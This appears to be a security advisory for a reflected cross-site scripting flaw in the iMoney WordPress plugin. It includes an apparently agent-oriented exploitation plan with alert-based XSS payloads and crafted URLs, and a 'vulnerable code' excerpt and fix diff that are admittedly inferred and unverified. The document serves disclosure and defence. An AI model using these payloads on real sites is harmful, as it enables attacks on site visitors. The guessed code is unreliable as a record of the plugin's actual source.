CVE-2025-69392

iMoney <= 0.36 - Reflected Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The iMoney plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 0.36 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.36
PublishedFebruary 11, 2026
Last updatedFebruary 16, 2026
Affected pluginimoney
Research Plan
Unverified

Since the source code for `iMoney` version 0.36 is not provided, this research plan is based on the vulnerability description (Reflected XSS), CVSS vector (Unauthenticated, UI Required), and common patterns in similar WordPress plugins. The plan focuses on identifying the specific reflection point a…

Show full research plan

Since the source code for iMoney version 0.36 is not provided, this research plan is based on the vulnerability description (Reflected XSS), CVSS vector (Unauthenticated, UI Required), and common patterns in similar WordPress plugins. The plan focuses on identifying the specific reflection point and executing a PoC.

1. Vulnerability Summary

The iMoney plugin (<= 0.36) is vulnerable to Reflected Cross-Site Scripting (XSS). This occurs because the plugin accepts user-controlled input via HTTP parameters (likely $_GET or $_REQUEST) and echoes that input back into the HTML response without adequate sanitization (e.g., sanitize_text_field) or output escaping (e.g., esc_html, esc_attr). An attacker can craft a malicious URL containing a script payload that executes in the context of the victim's browser when they click the link.

2. Attack Vector Analysis

  • Endpoint: Likely the WordPress frontend (home page or any page) or a specific plugin-generated page (e.g., a redirection or tracking page).
  • Vulnerable Parameter: (Inferred) Common candidates for reflected XSS in this type of plugin include imoney_msg, status, url, tab, view, or error.
  • Authentication: None required (Unauthenticated).
  • Preconditions: A user must click a crafted link (UI interaction).

3. Code Flow (Inferred)

  1. Entry Point: A hook such as init, wp_loaded, or template_redirect is registered in the main plugin file (imoney.php or a file in includes/).
  2. Input Acquisition: The plugin accesses a global variable: $val = $_GET['vulnerable_param'];.
  3. Sink: The plugin echoes this value directly into the page content or an HTML attribute:
    • echo '<div>' . $val . '</div>'; (Reflected in HTML body)
    • echo '<input type="hidden" value="' . $val . '">'; (Reflected in Attribute)
  4. Absence of Security: No esc_html(), esc_attr(), or wp_kses() is applied before the echo.

4. Nonce Acquisition Strategy

Reflected XSS via GET parameters typically occurs independently of WordPress nonces, as the vulnerability resides in the immediate display of the parameter rather than a state-changing action that requires CSRF protection.

If a nonce is required to reach the vulnerable code path (e.g., an error message triggered by a failed nonce check that reflects the nonce itself):

  1. Identify Localization: Look for wp_localize_script in the plugin source to find the JS object name.
  2. Shortcode Placement: If scripts only load via shortcode, identify the shortcode (e.g., [imoney]) via grep -r "add_shortcode".
  3. Extraction:
    • wp post create --post_type=page --post_status=publish --post_title="XSS Test" --post_content='[shortcode_name]'
    • Navigate to the page.
    • browser_eval("window.localize_object_name?.nonce_field")

5. Exploitation Strategy

Step 1: Discovery (Finding the Sink)

The agent should first identify which parameter is reflected.

  • Tool: http_request
  • Method: Send a request with a "canary" value to potential parameters.
  • URL: http://localhost:8080/?imoney_test=CANARY123&msg=CANARY456&status=CANARY789
  • Analysis: Check the response body for CANARY123, CANARY456, etc.

Step 2: Confirmation

Once a parameter (e.g., msg) is confirmed to reflect:

  1. Test for HTML injection: ?msg=<b>test</b>
  2. Check if <b> is rendered as tags or escaped as &lt;b&gt;.

Step 3: Final PoC

Craft the payload based on the reflection context.

Scenario A: Reflection in HTML Body

  • Payload: <script>alert(document.domain)</script>
  • URL: http://localhost:8080/?msg=%3Cscript%3Ealert(document.domain)%3C/script%3E

Scenario B: Reflection in HTML Attribute (e.g., value="...")

  • Payload: "><script>alert(1)</script>
  • URL: http://localhost:8080/?msg=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

HTTP Request Details:

  • Method: GET
  • Headers: Accept: text/html

6. Test Data Setup

  1. Plugin Activation: Ensure imoney is active: wp plugin activate imoney.
  2. Page Creation (if needed): If the reflection only occurs on pages where the plugin is active (e.g., via a shortcode):
    SHORTCODE=$(grep -r "add_shortcode" wp-content/plugins/imoney/ | awk -F"'" '{print $2}')
    wp post create --post_type=page --post_status=publish --post_content="[$SHORTCODE]" --post_title="Reflected XSS"
    
  3. Identify URL: Note the URL of the created page (e.g., /reflected-xss/).

7. Expected Results

  • The HTTP response body must contain the literal, unescaped string provided in the parameter.
  • Example: If msg=<script>alert(1)</script> is sent, the response should contain <script>alert(1)</script> and NOT &lt;script&gt;alert(1)&lt;/script&gt;.

8. Verification Steps

  1. Browser Verification: Use browser_navigate to the malicious URL.
  2. Observation: Use browser_eval to check if a global variable was set by the payload or check for the existence of the injected tag:
    • browser_eval("document.getElementsByTagName('script').length")
  3. Source Audit: Use grep to confirm the lack of escaping in the identified file:
    # Example search for the identified sink
    grep -nC 5 "echo \$_GET\['msg'\]" wp-content/plugins/imoney/path/to/file.php
    

9. Alternative Approaches

If standard parameters are not found:

  1. Check Admin Context: See if the XSS reflects in the admin dashboard (e.g., wp-admin/admin.php?page=imoney&error=PAYLOAD). This would require an authenticated http_request.
  2. Check for Redirects: If the plugin handles clicks (e.g., imoney-click.php?url=PAYLOAD), the XSS might be in a "Please wait while we redirect you" page.
  3. Search for printf: Sometimes XSS occurs in printf or sprintf calls that format messages:
    • grep -r "printf(" wp-content/plugins/imoney/ | grep "GET"
Research Findings
Static analysis — not yet PoC-verified

Summary

The iMoney plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to 0.36. This occurs because the plugin accepts user-controlled input via HTTP parameters and echoes it back into the response without adequate sanitization or output escaping, allowing attackers to execute scripts in a victim's browser.

Vulnerable Code

/* Inferred from research plan: Entry point in imoney.php or similar */
$val = $_GET['vulnerable_param'];

/* Sink: The plugin echoes this value directly into the page content */
echo '<div>' . $val . '</div>';

Security Fix

--- wp-content/plugins/imoney/imoney.php
+++ wp-content/plugins/imoney/imoney.php
@@ -1,2 +1,2 @@
-$val = $_GET['imoney_msg'];
-echo '<div>' . $val . '</div>';
+$val = isset($_GET['imoney_msg']) ? sanitize_text_field($_GET['imoney_msg']) : '';
+echo '<div>' . esc_html($val) . '</div>';

Exploit Outline

The exploit targets unauthenticated users by crafting a URL containing a malicious script payload in common parameters like 'imoney_msg', 'msg', 'status', or 'error'. When a victim clicks this link, the plugin reflects the payload (e.g., <script>alert(document.domain)</script>) directly into the HTML response. No authentication is required for the attacker, but the victim must interact with the crafted link for the script to execute.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.